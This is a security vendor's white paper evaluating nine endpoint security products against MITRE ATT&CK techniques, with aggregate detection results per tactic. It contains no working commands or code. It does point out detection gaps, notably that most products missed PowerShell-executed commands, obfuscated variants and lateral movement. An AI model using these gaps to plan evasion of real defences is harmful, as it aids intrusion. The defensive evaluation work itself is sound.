ENDPOINT SECURITY EVALUATION...The ATT&CK knowledge base consists of 11 tactical categories and provides a standardized method to describe the activities of threat actors. Since the

AuthorsWoodrow Brown, Director, Partner Research and Strategy

Rob Brooks, Senior Research Analyst, Partner Research and Strategy

Dan Kiraly, Senior Research Analyst, Partner Research and Strategy

EditorTodd Weber, Vice President, Partner Research and Strategy

6.10.19

ENDPOINT SECURITY EVALUATION MITRE ATT&CK EDITION

1

DISCLAIMER:THIS DOCUMENT IS PROVIDED TO YOU FOR INFORMATIONAL PURPOSES ONLY. THIS DOCUMENT IS THE PROPERTY OF OPTIV SECURITY INC. (“OPTIV”) AND IS PROTECTED BY U.S. AND INTERNATIONAL COPYRIGHT LAW. NO LICENSE, EXPRESS OR IMPLIED, TO ANY INTELLECTUAL PROPERTY RIGHTS OR OTHER CONTENT IS GRANTED OR INTENDED HEREBY. WHILE THE INFORMATION CONTAINED IN THIS DOCUMENT HAS BEEN OBTAINED FROM SOURCES BELIEVED TO BE RELIABLE, OPTIV DISCLAIMS ALL WARRANTIES AS TO THE ACCURACY, COMPLETENESS, OR ADEQUACY OF SUCH INFORMATION. YOU ARE SOLELY RESPONSIBLE FOR THE INFORMATION SECURITY PRODUCTS AND SERVICES YOU PURCHASE, AND YOU ARE SOLELY RESPONSIBLE FOR THE DEVELOPMENT, IMPLEMENTATION, AND EXECUTION OF YOUR INFORMATION SECURITY PROGRAM. THIS DOCUMENT IS PROVIDED “AS-IS” WITH NO WARRANTIES WHATSOEVER, INCLUDING ANY WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT, AND YOU AGREE OPTIV WILL HAVE NO LIABILITY IN CONNECTION WITH THIS DOCUMENT AND THE INFORMATION HEREIN.

2

Abstract

Endpoint security remains in focus as endpoints account for the majority of the attack surface. Optiv expects organizations to continue to refine their endpoint security strategy. The focus will be on obtaining the maximum value from the endpoint security platform by operationalizing capabilities. Forward looking security organizations will enhance their security program by utilizing endpoint telemetry data to improve detection and response, refine threat hunting and by integrating sensor data feeds into complementary security solutions.

This series of white papers will feature nine of Optiv’s partners: Carbon Black, CrowdStrike, Cylance, Endgame, FireEye, McAfee, Palo Alto Networks, SentinelOne and Symantec. Each partner provided their solution for hands on testing. Optiv structured this year’s evaluation with an emphasis on the atomic detection of techniques from MITRE’s ATT&CK knowledge base, in-platform threat hunting and API instrumentation.

2

Drivers

Information security practitioners often lament that our industry doesn’t have a formalized lexicon. Specialized terms are often left to individual interpretation as practitioners provide guidance without mutual agreement on their definition. The industry began to find common ground with Lockheed Martin’s 2011 release of the Cyber Kill Chain®. The Cyber Kill Chain® and its terminology was widely adopted and has helped move the industry to a common lexicon.

In 2013, MITRE released ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) to catalog post-exploit techniques on enterprise systems. The ATT&CK knowledge base consists of 11 tactical categories and provides a standardized method to describe the activities of threat actors. Since the release of ATT&CK, many security solution providers and internal security organizations have adopted the knowledge base. Solution providers are using the ATT&CK terminology to enrich telemetry data. Security organizations are modeling components of their security program on ATT&CK and are looking for methods to locate gaps in program coverage.

Many of Optiv’s partners in the endpoint security space recently underwent an evaluation sponsored by MITRE that mapped to their ATT&CK knowledge base. MITRE chose to model its evaluation on a known adversary, APT3. Their methodology was to emulate the known post-exploit behavior of ATP3 across the products tested, with each behavioral action mapped to ATT&CK. MITRE’s methodology and test results are a welcome change in an industry that often lacks testing transparency and is rife with predetermined bias.

In light of the recent MITRE-sponsored testing, Optiv chose a different path for our annual endpoint evaluation. For the efficacy testing phase of this year’s evaluation, each test case was mapped to a specific ATT&CK technique. In contrast to MITRE’s product evaluation, Optiv’s evaluation focused on the detection of atomic techniques. Each test focused on a single ATT&CK technique; tests were performed independently of each other with no dependencies on prior techniques. Using the Verodin Security Instrumentation Platform, Optiv executed 122 individual techniques across 10 of ATT&CK’s tactical categories to determine how the endpoint security products would behave. Optiv evaluated nine market leading endpoint security platforms:

• Carbon Black – CB Defense • CrowdStrike • Cylance – CylancePROTECT and CylanceOPTICS• Endgame • FireEye – Endpoint Security • McAfee – ePO and MVISION • Palo Alto Networks – Traps and XDR• SentinelOne • Symantec – SEP14 and ATP

Optiv’s goals were to:• Identify which preventative or detective component

of the solution would trigger on a given technique, if any

• Determine the extent of telemetry enrichment the vendor had included

• Assess the usefulness of the product’s interface for threat hunting

• Validate API functionality for alerting, telemetry ingestion and host quarantine

• Test the effectiveness of any anti-tampering mechanisms used to protect endpoint agents

Optiv InsightsATT&CK - Enterprise Tactics

• Excellent post-exploit knowledge base that gets everyone speaking the same language

• Granularity far exceeds kill-chain descriptions • Be advised that not all possible techniques are

documented, nor will they ever be • The knowledge base excels at classifying malicious

behaviors, but should not be viewed as a coverage checklist for security controls

Endpoint Security Solutions • ATT&CK enrichment has been embraced by many of

the leading solution providers • Out of context, many of the techniques within

ATT&CK are not malicious and may be common occurrences within an enterprise environment

• An expectation of full ATT&CK coverage by a product is unreasonable and not warranted

• Products that identified the root cause of the test cases proved a unique value

Endpoint Security Evaluation

3

TrendsEndpoint security solution providers continue to race toward the same goal—a multifunctional platform that includes prevention, detection, response and IT hygiene capabilities. Some features that were previously differentiators for a product have now become an industry standard. One of these features would be a graphical process lineage view. A graphical process lineage view offers the user a visual representation of the relationships between parent and child processes. This allows the user to quickly digest the chain of events that occurred when performing an investigation. Seven of nine products evaluated by Optiv provided a graphical view.

In the past, most endpoint detection and response (EDR) products only provided additional context around an event that was alerted on. Now it is a standard capability of EDR products to support searching for any telemetry data that the host sensor has captured. These items can include, but are not limited to, registry edits, file modifications, network connections, and command line arguments. This means that analysts now have the same investigative capabilities on arbitrary events as they would with malicious events.

Another smaller but noticeable trend was the use of Microsoft’s security model for Protected Process to prevent tampering with endpoint agents. The features of Protected Process allow products to prevent users, including administrators, from tampering with the endpoint security agent, processes, services or files. Of the nine products evaluated, four used these protections to varying degrees. Three products implemented these protections in conjunction with their own malicious driver detections to the point where Optiv was unable to tamper with the agent.

The ability to access sensor data outside of the product’s user interface was another trend with endpoint security products this year. This came in two forms: the ability to stream all data to a secondary location, and greater API feature parity with the user interface.

Streaming all sensor data to a secondary location, such as an Amazon S3 bucket, differs from a security information and event management (SIEM) connection because data that is sent to a SIEM usually consists of prevention or detection data. A secondary location can allow for longer data retention times and for clients to be able to scan sensor data against their own indicators. It was Optiv’s experience that some solutions would only retain data that the vendor deemed interesting. Especially in the case of cloud-based platforms, artifacts that were not associated with an alert would roll off the platform within 30 days, providing no way for the user to search across this data set at a later date.

As workflows contine to be automated, API parity with a product's user interface becomes paramont. Repetitive tasks, such as providing data enrichment or even remediation through isolation, can be programmatically performed using the API, where previously a user would have had to login to the UI and perform the task. This enables organizations to obtain operational efficiencies though automation and orchestration.

TA0001 TA0002 TA0003 TA0004 TA0005 TA0006 TA0007 TA0008 TA0009 TA0011 TA0010

Initial Access Execution Persistence Privilege

EscalationDefense Evasion

Credential Access Discovery Lateral

Movement CollectionCommand

and Control

Exfiltration

ATT&CK MATRIX

Figure 1 - ATT&CK Matrix

4

During Optiv’s evaluation, it was apparent that most endpoint products do not capture command arguments executed from a PowerShell terminal. Only one of nine products natively captured all PowerShell terminal commands. A second product was able to record PowerShell commands following a group policy object (GPO) edit to the Windows system that enabled PowerShell logging. When this concern was raised with vendors, most had Microsoft Antimalware Scan Interface (AMSI) integration on the roadmap. This would give sensors visibility into commands executed through PowerShell and PowerShell commands that are executed without using the native powershell.exe process. It is important to keep in mind that prevention, detection, logged, and unseen command trends in this paper are only relevant to these tests and the way in which the tests were executed.

Endpoint security platforms had a heavier focus on preventing and detecting the tactics on the left-hand side of the ATT&CK matrix. As seen in Optiv’s results and explained by most vendors in result discussions, there is a greater emphasis on Initial Access (not tested), Execution, Privilege Escalation, and Defense Evasion tactics due to a higher assurance of malicious activity. This also helps analysts intercept or identify malicious actors earlier.

Tactics such as Discovery and Collection contain techniques that are common within an enterprise environment. Preventions and detections in these categories were much lower across all nine products evaluated. Triggering on these techniques could result in a large number of false positives and dilute the value of higher fidelity detections.

Five of the nine products evaluated allowed for user creation of custom behavioral indicators. These indicators are useful for organizations concerned that particular techniques are considered malicious in their environment, but that the vendor deems benign globally. Optiv found that preventions for custom indicators vary by product and most solutions offer alert-only capabilities when custom indicators are triggered. Three products allowed for preventions based on user-defined indicators.

When aligning an endpoint security program to MITRE’s ATT&CK framework, organizations need to have realistic expectations of endpoint product capabilities. No product has coverage for all techniques, nor will they ever. Beware of percent-of-coverage claims, as that is a deceptive metric. This is due to the immeasurable ways a technique could be constructed. To prove this, Optiv had several techniques that were executed in two or more ways. Different outcomes always occurred for techniques executed in multiple always.

For example, Optiv’s evaluation included three variants of T1117 Regsvr32. One variant utilized a remote script, one utilized a local script, and the last had its command arguments obfuscated. Preventions and alerts varied across these three test cases, which were the same technique with the same objective. Another example of this was with Execution and Defense Evasion technique T1191. Technique T1191 leverages Microsoft’s Connection Manager Profile Installer (CMSTP) to execute malicious commands using an installation information file (INF). Three products prevented one variant of this test, while none of the products prevented a second.

Our data shows a product may prevent a technique written in a specific way, but that does not ensure that the product will prevent all potential cases of the technique. For variant test cases written in PowerShell, seven of the products evaluated did not log the technique’s command line arguments.

It is also important for companies to understand how techniques relate to their own environment. Many techniques mirror normal software or user behavior. Analysts need to understand software and user workflows in their environment, so that these behaviors can be excluded from threat hunting. This can be a tedious task given the magnitude of endpoint telemetry captured. But in the event of an incident, having these exclusions will save valuable time.

Evaluation Results Summary

The results in this paper are an aggregation of the results from all nine products evaluated. Charts for each ATT&CK tactic display how the endpoint platforms tested as a whole performed by each technique tested. The data displayed summarizes the aggregate score for the technique, and no single product’s results can be derived from the charts. Individual endpoint platform evaluations are available for Optiv clients.

5

Execution

The execution tactic represents techniques that result in execution of adversary-controlled code on a local or remote system. This tactic is often used in conjunction with initial access as the means of executing code once access is obtained, and lateral movement to expand access to remote systems on a network.1

The Execution phase consisted of 22 tests, but only 13 different ATT&CK techniques. Several techniques were constructed differently, but when executed would achieve the same objective. As an example, tests that were run in multiple ways may have used CMD during the first test and PowerShell the second time. Optiv chose this method to gain an understanding how the outcome is affected when techniques are run in different manners.

The chart below is a compilation of all the techniques tested during the Execution phase across all products tested.

0 1 2 3 4 5 6 7 8 9

Prevented Alert Unseen Command Testing ErrorCommand Logged

ENDPOINT PLATFORMS

T1035v1

T1035v2

T1047

T1053v1

T1053v2

T1059v1

T1059v2

T1085v1

T1085v2

T1086, T055

T1117v1

T1117v2

T1117v3

T1118

T1121

T1127, T1035, T1050

T1127v1

T1127v2

T1170

T1191v1

T1191v2

T1202

Figure 2 - Execution Chart

6

The chart shows that techniques run in two or more ways have different prevention or alert rates. For example, technique T1117 leverages Regsvr32, a command-line program used to register and unregister object linking and embedding controls in Windows systems, to execute a malicious command. When Optiv ran the first test for T1117 the host was instructed to use a file located on GitHub for the execution. Three out of nine products prevented this test case. The second T1117 attempt used a local file, located in the C:\users\Public directory for execution. Two out of nine products prevented this test case. When Optiv obfuscated the commands used during the third T1117 test, only one product prevented the test.

• High assurance preventions—An example would be T1059v2, Command Line Interface. This test involved the execution of a malicious binary from CMD. The binary used was originally submitted to VirusTotal August 2017 with a conviction rate of 78%. When files are known, there is a much higher confidence among vendors to prevent certain file executions, knowing that they will not be blocking a business application or benign file. This test, which used a well-known file, had the highest prevention rate during the execution phase.

• Limit false positives—Results for Service Execution, T1035, and Scheduled Task Execution, T1053, techniques show the reluctance to prevent or alert on these techniques. Both techniques are common place activities within an enterprise environment. None of the products tested prevented the T1035 test cases. Only one product prevented a Scheduled Task Execution test; the behavior itself was not detected, but a file used in the test was flagged as malicious.

• Well documented techniques—Examples here include T1117 Regsvr32, T1085 Rundll32, T1059 CMD, and T1170 Mshta. All of these techniques had a healthy mix of preventions, alerts and logged commands.

conviction rate of malicious binary

from cmd.

78%

T1059v2 - Command Line Interface

T1035v1 - Service Execution

T1053v1 - Scheduled Task

T1035v2 - Service Execution


T1117v1 - Regsvr32

T1117v3 - Regsvr32

T1117v2 - Regsvr32

T1085v1 - Rundll32

T1085v2 - Rundll32

T1059v2 - Command-Line Interface

T1059v1 - Command-Line Interface

T1170 - Mshta

LEGEND

Prevented Alert Command Logged Unseen Command Testing Error

7

Persistence

Persistence is any access, action, or configuration change to a system that gives an adversary a persistent presence on that system. Adversaries will often need to maintain access to systems through interruptions such as system restarts, loss of credentials, or other failures that would require a remote access tool to restart or alternate backdoor for them to regain access.2

The Persistence phase consisted of 12 test cases, using nine different ATT&CK techniques. Several test cases included a Persistence technique and a technique from another tactic category. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Persistence phase across all products tested. Some tests that were executed contained multiple techniques and are those are noted below.

ENDPOINT PLATFORMS


T1015

T1037, T1112

T1042

T1053v1

T1053v2

T1053v3

T1058, T1031

T1060

T1112, T1015

T1112, T1183

T1127, T1035, T1050

T1176

0 1 2 3 4 5 6 7 8 9

Figure 3 - Persistence Chart

Persistence is an area where security practitioners need to manage their expectations for what an endpoint solution is capable of preventing, alerting on, logging, and why. Unlike Execution, Persistence was an area in which the vendors did not have a high level of confidence to prevent the test cases. Out of the 12 test cases, only two were prevented by five or more of the products tested.

It is important to understand how an event took place and why a product alerted or did not alert on that event, such as Scheduled Task T1035. Scheduled task creation or execution can be normal software or user behavior and by preventing or alerting on this behavior products run the risk of inundating analysts with false positives. A scheduled task could be as benign as software checking for updates on an hourly basis. Optiv ran three separate schedule task tests using three different methods to execute each test.

8

were prevented by five or more of the

products tested.

Only 2 out of 12 test cases

• T1053v1—The test case used a known malicious binary designed to execute on an hourly basis. This scheduled task test had the most preventions. The products alerted on the binary and not necessarily the behavior of creating the scheduled task. Six of nine products prevented the execution of this test. One alerted and two logged that the commands were run.

• T1053v2—Executed a test for the same technique using a file that was not malicious and had an expected drop in preventions, but three products still alerted that event took place, while six products logged that the commands were executed.

• T1053v3—A third execution for the scheduled task persistence was tested using a custom malicious binary file. Only one product was able to identify the file used in the scheduled task as malicious. Two products alerted on scheduled task creation, five logged the creation of the task, and one did not log the commands associated with the scheduled task.

• T1176—Browser Extensions was the second most prevented test case in this phase. Again, this test used a known file, netcat. Five of nine products prevented netcat. Two products alerted on the test case.

The technique that had no preventions and only a single alert was a test designed to create persistence through the change of a default file association T1042. This test was executed through CMD and resulted in one alert, four products logging the commands for the test, and four products failing to capture the commands used during test execution. It is worth mentioning that not all techniques have recommended mitigations, this being one of them. However, it is important to understand which products are capable of capturing that the event took place.




T1176 - Browser Extensions

LEGEND


9

T1088v4

T1088v3

T1088v2

T1088v1

T1038, T1073

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

Privilege Escalation

Privilege escalation is the result of actions that allows an adversary to obtain a higher level of permissions on a system or network. Certain tools or actions require a higher level of privilege to work and are likely necessary at many points throughout an operation. Adversaries can enter a system with unprivileged access and must take advantage of a system weakness to obtain local administrator or SYSTEM/root level privileges. A user account with administrator-like access can also be used. User accounts with permissions to access specific systems or perform specific functions necessary for adversaries to achieve their objective may also be considered an escalation of privilege.3

The Privilege Escalation phase consisted of five tests, using two different ATT&CK techniques. One test case included a Privilege Escalation technique and a technique from another tactic category. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Privilege Escalation phase across all products tested. Some tests that were executed contained multiple techniques and are those are noted below.

Figure 4 - Privilege Escalation Chart

10

Bypassing user account control

allows a program to elevate

its permissions.

Most of the test cases during this phase were designed to bypass User Account Control (UAC). Bypassing UAC allows a program to elevate its permissions and execute a task under administrative privileges.

Optiv attempted four tests using different methods to execute this technique. All four test cases for bypassing UAC had varying results.

• T1088v1—This test was designed to bypass UAC with sdclt.exe and the commands were executed with a PowerShell terminal. This test resulted in a single prevention.

• T1088v2—This test used the same sdclt.exe process with the commands for the test being executed through a CMD terminal. Three of nine products prevented T1088v2.

• T1088v3—This test used a well-known binary to assist in bypassing UAC which resulted in the highest amount of preventions for this phase.

• T1088v4—This test used a registry dword change with the goal of also running a task in an elevated state. This method of bypassing UAC resulted in three products preventing the privilege escalation attempt. This is another example of using multiple methods to execute the same technique. It is important to note that outcomes will change based upon the method used to execute any technique, and Privilege Escalation is no exception.

LEGEND


T1088v4 - Bypass User Account Control




11

T1003

T1003, T1045

T1003, T1078

T1009

T1047

T1061, T1086v1

T1061, T1086v2

T1066, T1003

T1070

T1085v1

T1085v2

T1089

T1096, T1158

T1099

T1112, T1183

T1127, T1035, T1050

T1127v1

T1127v2

T1134

T1140, T1027

T1158

T1170

T1191v1

T1191v2

T1202

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

Figure 5 - Defense Evasion Chart

Defense Evasion

Defense Evasion consists of techniques an adversary may use to evade detection or avoid other defenses. Sometimes these actions are the same as or variations of techniques in other categories that have the added benefit of subverting a particular defense or mitigation. Defense evasion may be considered a set of attributes the adversary applies to all other phases of the operation.4

The Defense Evasion phase consisted of 25 tests, using 18 different ATT&CK techniques. Several simulations included a Defense Evasion technique and a technique from another tactic. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Defense Evasion phase across all products tested. Some tests that were executed contained multiple techniques and are those are noted below.

12

12 of the tests were prevented or alerted on by five or more products.

Defense Evasion is an area well documented by the security community, with many techniques not indicative of normal user behavior. Optiv expected a high number of preventions and alerts during this portion of testing. Defense Evasion had 22 tests that resulted in preventions, alerts, or logged commands by six or more products. Twelve of the tests were prevented or alerted on by five or more products. Only two tests resulted in six or more products failing to capture the commands that were executed during the test. Both of these tests were executed through a PowerShell terminal.

Several tests stand out in the chart above. Two tests, Timestomp T1099 and Access Token Manipulation T1134, resulted in an unseen score by six or more products. The products failed to capture the commands that were executed during each test. Both of these tests were executed through a PowerShell terminal.

Two additional tests that stand out in the chart are the two CMSTP T1191 tests. Technique T1191 takes advantage of the Microsoft CMSTP to execute malicious commands with an INF file. Two different INF files were used to for T1191v1 and T1191v2, which resulted in different product prevention and detection rates. However, both files used in the tests were designed to open the same application when launched with cmstp.exe. Endpoint security products will react differently to the same technique with the same objective when the technique is executed in an alternate manner. This was a common theme seen across all tactic categories and across all products during testing.

These tests all used different methods of changing the same program in an attempt to evade detection.

• T1066 and T1003 – Indicator Removal from Tools and Credential Dumping

• T1003 and T1045 – Credential Dumping and Software Packing

• T1009 – Binary Padding

All three tests had an extremely high prevention rate, but it is important to note that detection rates changed as the evasion attempt changed.

Testing errors did occur during a handful of tests. These are not attributed to the endpoint security products, but the testing technology.

T1066 - Indicator Removal from Tools, T1003 - Credential Dumping

T1003 - Credential Dumping, T1045 - Software Packing

T1009 - Binary Padding

LEGEND


13

Figure 6 - Credential Access Chart

T1214

T1056

T1003v3

T1003v2

T1003v1

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

Credential Access

Credential access represents techniques resulting in access to or control over system, domain, or service credentials that are used within an enterprise environment. Adversaries will likely attempt to obtain legitimate credentials from users or administrator accounts (local system administrator or domain users with administrator access) to use within the network. This allows the adversary to assume the identity of the account, with all of that account's permissions on the system and network, and makes it harder for defenders to detect the adversary. With sufficient access within a network, an adversary can create accounts for later use within the environment.5

The Credential Access phase consisted of five tests, using three different ATT&CK techniques. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Credential Access phase across all products tested.

The Credential Access portion of the evaluation had a notably high level of preventions across all the products tested. This portion of testing resulted in the highest prevention rate when compared to the other nine tactic areas tested in Optiv’s evaluation. Note that Initial Access was not tested.

Credential Dumping, T1003, made up three of the test cases in this section. T1003v1 and T1003v2 both used password-dumping tools in an attempt to dump credentials which resulted in a near perfect prevention score for both tests.

This is in contrast to T1003v3 designed to achieve the same outcome as the prior two technique tests, except T1003v3 leveraged a script. The manner in which T1003v3 was run resulted two products preventing and one product alerting on the credential dumping attempt.

Input Capture, T1056, used a known keylogger as part of the test and the attempt to execute the file was prevented by all nine products.

The Credentials in Registry test, T1214, was not prevented by any of the nine products. Five products alerted on the test behavior while the remaining four logged the commands used to execute the test.

14

T1007

T1010

T1012

T1016

T1033

T1046

T1049

T1057v1

T1057v2

T1063v1

T1063v2

T1069, T1087

T1082v1

T1082v2

T1082v3

T1087, T1083

T1087v1

T1087v2

T1119, T1083

T1124

T1135

T1217

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

Figure 7 - Discovery Chart

Discovery

Discovery consists of techniques that allow the adversary to gain knowledge about the system and internal network. When adversaries gain access to a new system, they must orient themselves to what they now have control of and what benefits operating from that system give to their current objective or overall goals during the intrusion. The operating system provides many native tools that aid in this post-compromise information-gathering phase.6

The Discovery phase consisted of 22 tests, using 16 different ATT&CK techniques. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Discovery phase across all products tested. Some tests that were executed contained multiple techniques and are those are noted below.

15

7 out of 9 products were blind

to tests executed by a PowerShell

terminal command.

• Minimal preventions and alerts—The results show that there were a minimal number of preventions and alerts for the Discovery phase. This can be attributed to how closely Discovery techniques used by attackers mirror everyday software and user behavior. T1012 Query Registry, T1016 System Network Discovery, and T1033 System Owner are just some of the examples where no preventions were triggered. By and large the products logged the commands. Discovery tactics are a valid method used by attackers, however triggering preventions or alerts on such common tasks would increase false positive rates to an unacceptable level.

• Logging of CMD commands—For common user and software tasks that possess low assurance attributes, endpoint security products still provided value by logging the CMD commands in which the tasks were executed. The amount of data and location of logged CMD commands will vary by product, but it is important to have this information available for threat hunting. Results show the vast majority of techniques executed through CMD were recorded and Optiv was able to locate the commands during threat hunting.

• Lack of visibility into PowerShell terminal commands—Many of the tests in the Discovery phase used a PowerShell terminal to execute commands. Almost all the endpoint security products tested fail to capture command line arguments executed in this fashion. Seven out of nine products were blind to tests executed in this manner. Optiv was able to find associated telemetry data for the tests, but not able to find the commands used to execute them. Process Discovery, T1057v1, when executed with CMD was logged by six of the nine products evaluated. When Process Discovery, T1057v2 was executed through a PowerShell terminal, it was logged by only two products.

LEGEND


T1012 - Query Registry

T1033 - System Owner/User Discovery

T1016 - System Network Configuration Discovery

T1057v1 - Process Discovery T1057v2 - Process Discovery

16

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

T1175

T1105

T1075v2

T1075v1

T1028

T1021

Figure 8 - Lateral Movement Chart

Lateral Movement

Lateral movement consists of techniques that enable an adversary to access and control remote systems on a network and could, but does not necessarily, include execution of tools on remote systems. The lateral movement techniques could allow an adversary to gather information from a system without needing additional tools, such as a remote access tool.7

The Lateral Movement phase consisted of six tests, using five different ATT&CK techniques. As in previous testing phases, some techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Lateral Movement phase across all products tested.

Identifying lateral movement proved to be a challenging area for most of the products tested. The only test with a high prevention rate was Pass the Hash T1075v1. Seven products prevented this execution and two alerted on it. It is worth noting that this test used a version of Mimikatz and the Mimikatz file was what triggered the preventions and alerts.

This contrasts with T1075v2, which used a PowerShell script to pass the hash and was only detected by two products. The four remaining tests used PSExec, PSSession, Xcopy, and COM objects for Lateral Movement that only resulted in a single product prevention or alert.

It is important to note that if a test resulted in Unseen Command, it does not mean that there was no associated telemetry data. For the majority of the cases, Optiv was able to locate event artifacts such as a network connection log. Only one product tested did not log any RFC 1918 network connections.

17

T1119, T1005

T1119

T1115

T1114

T1113

T1074

T1056v2

T1056v1

T1039

T1005, T1083

T1005

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

Figure 9 - Collection Chart

Collection

Collection consists of techniques used to identify and gather information, such as sensitive files, from a target network prior to exfiltration. This category also covers locations on a system or network where the adversary may look for information to exfiltrate.8

The Collection phase consisted of 11 tests, using 11 different Collection ATT&CK techniques. One test included a Collection technique and a technique from another tactic.

The chart below is a compilation of all the techniques used during the Collection phase across all products tested. Some tests that were executed contained multiple techniques and are those are noted below.

18

Many Collection techniques resemble

everyday software and user behavior.

Many Collection techniques resemble everyday software and user behavior, such as technique T1115, Clipboard Data. It is a normal behavior for a user to copy and paste data between program windows. Data that is copied from one program into another is temporarily stored on Microsoft’s clipboard application. Adversaries that compromise a host may collect this data to determine if it contains sensitive information. Alerting on this type of activity could lead to a high number of false positives.

To Optiv’s surprise, two products prevented the script used in the T1115 test. Optiv expected a low amount of preventions and alerts for all products during this phase. Optiv’s expectation for Collection techniques was that the product, at minimum, would be able to log the commands executed. One technique that stands out for Collection in the graph is T1056, Input Capture. This test case leveraged a keylogger to capture user input that was detected by all nine products.

A large portion of the Collection test cases were executed through a PowerShell terminal. During testing Optiv discovered that seven of nine products are unable to capture the commands executed in this manner. Collection test cases executed in through a PowerShell terminal that did not trigger a prevention or alert were not logged by these seven products. In instances where the interactive PowerShell commands were not logged, the resulting actions from the commands were present as telemetry following the PowerShell execution.

Testing errors occurred during the Collection phase for various tests on different products. These testing errors were result of the testing component itself and not an endpoint security product error.

19

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

T1074, T1022

T1048

T1029

T1002, T1048v2

T1002, T1048v1

T1002

Figure 10 - Exfiltration Chart

Exfiltration

Exfiltration refers to techniques and attributes that result or aid in the adversary removing files and information from a target network. This category also covers locations on a system or network where the adversary may look for information to exfiltrate.9

The Exfiltration phase consisted of six tests, using five different ATT&CK techniques. One test included a Lateral Movement technique and a technique from other tactic categories. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart below is a compilation of all the techniques used during the Exfiltration phase across all products tested. Some tests that were executed contained multiple techniques and are those are noted below.

Optiv ran two groups of test cases during the Exfiltration stage of the evaluation. The first group consisted of four tests with data being exfiltrated to a staging host on the LAN over FTP and HTTP. These tests consisted of T1002, T1048, T1002 and T1048v1, and T1002 and T1048v2, and were executed using PCAP replays. The second group consisted of two tests, one simulating a scheduled transfer (T1029) and the other for staging and encrypting data (T1074 and T1002).

Optiv’s expectation for tests in the first group was, at minimum, that the products would be able to log the source and destination IP and port information along with timestamps. Optiv’s expectation for the second group was that products, at a minimum, would log the commands used during the test.

The testing environment that Optiv used to simulate the Exfiltration consisted of multiple networks that used internal IP addressing schemes. While this is not necessarily the ideal for testing exfiltration, it yielded some interesting data points. The alerts seen in the chart above were the sole responsibility of a single endpoint product. The product successfully alerted on all tests in both testing groups. This is in comparison to a competing product that was unable to log any connection information from the first test group and missed the commands executed through a PowerShell terminal for the second group.

20

T1065

T1043v5

T1043v4

T1043v3

T1043v2

T1043v1

T1024

T1008

ENDPOINT PLATFORMS


0 1 2 3 4 5 6 7 8 9

Figure 11 - Command and Control Chart

Command and Control

The command and control tactic represents how adversaries communicate with systems under their control within a target network. There are many ways an adversary can establish command and control with various levels of covertness, depending on system configuration and network topology. Due to the wide degree of variation available to the adversary at the network level, only the most common factors were used to describe the differences in command and control. There are still a great many specific techniques within the documented methods, largely due to how easy it is to define new protocols and use existing, legitimate protocols and network services for communication.

The resulting breakdown should help convey the concept that detecting intrusion through command and control protocols without prior knowledge is a difficult proposition over the long term. Adversaries' main constraints in network-level defense avoidance are testing and deployment of tools to rapidly change their protocols, awareness of existing defensive technologies, and access to legitimate Web services that, when used appropriately, make their tools difficult to distinguish from benign traffic.10

21

1 out of 9 products evaluated

detected the simulated malware

communications and prevented the test

case from executing.

The Command and Control phase consisted of eight tests, using four different ATT&CK techniques. One test included a Command and Control technique and a technique from another tactic. As in previous testing phases, several techniques were constructed differently, but when executed would achieve the same objective.

The chart on the previous page is a compilation of all the techniques used during the Command and Control phase across all products tested.

Optiv’s expectation for Command and Control techniques was that the product, at minimum, would be able to log the source and destination IP and port information along with timestamps. The testing environment that Optiv used to simulate the Command and Control consisted of multiple networks that used internal IP addressing schemes. While this is not necessarily the ideal for testing command and control, it yielded some interesting data points.

Similar to Lateral Movement, Optiv discovered that not all products log connections between internal addresses. Optiv also discovered that some products only log HTTP/S traffic.

The Command and Control traffic used for each test case was a PCAP replay of known malware communications. Only one of nine products evaluated detected the simulated malware communications and prevented the test case from executing.

22

Evaluation Methodology

Lab Environment The Optiv lab simulated an enterprise Windows domain environment running on VMware’s ESXi/NSX platform. Endpoints were configured with Windows 10 operating systems (x64 Version 1703 Build 15063.483). ATT&CK technique testing was fully automated utilizing the Verodin Security Instrumentation Platform (SIP v3.5.1.0). Optiv performed agent-tampering use cases manually and utilized Postman or the vendor’s API tool for the API functionality test cases.

Each solution provider created an endpoint security policy that was strict, but also suitable for a general enterprise endpoint environment. The test users in the environment were permitted to update software, install software, open a command shell, and use the endpoint without being inhibited by the security software. The results presented are based on the outcomes achieved with this general enterprise policy.

Consultation with Optiv’s partners, installation and configuration of the solution and the use case review took approximately three weeks per solution.

Use Cases Use cases for this evaluation are grouped into three categories:

1. MITRE Enterprise ATT&CK Tactics and Techniques 2. System Integration 3. Disrupt Security Software

MITRE Enterprise ATT&CK Tactics and TechniquesThis set of test cases focused on the ability of the endpoint security solution to prevent, alert, and log ATT&CK techniques. Each test was atomic, focused on a single ATT&CK technique, and autonomous, meaning it was performed independently of other tests.

Using Verodin, Optiv executed more than 100 individual techniques across 10 of ATT&CK’s tactical categories to determine how the endpoint security product would behave. Optiv used a mix of default Verodin tests and tests that were developed by Optiv. Optiv did not test Initial Access.

A Verodin agent was installed on each endpoint. The agent listens for actions to perform and then initiates the action, followed by cleanup steps to remove any artifacts from the test. At a high level, the Verodin agent operates in two ways: 1) it launches an execution process that then launches either a cmd.exe or powershell.exe console to execute the test code, or 2) in the case of network-centric tests and tests where staging files are needed, it directly performs the action without additional child processes.

For the atomic ATT&CK testing, Optiv grouped a series of techniques within the same tactical category together and staggered the automated execution of each with one-minute intervals.

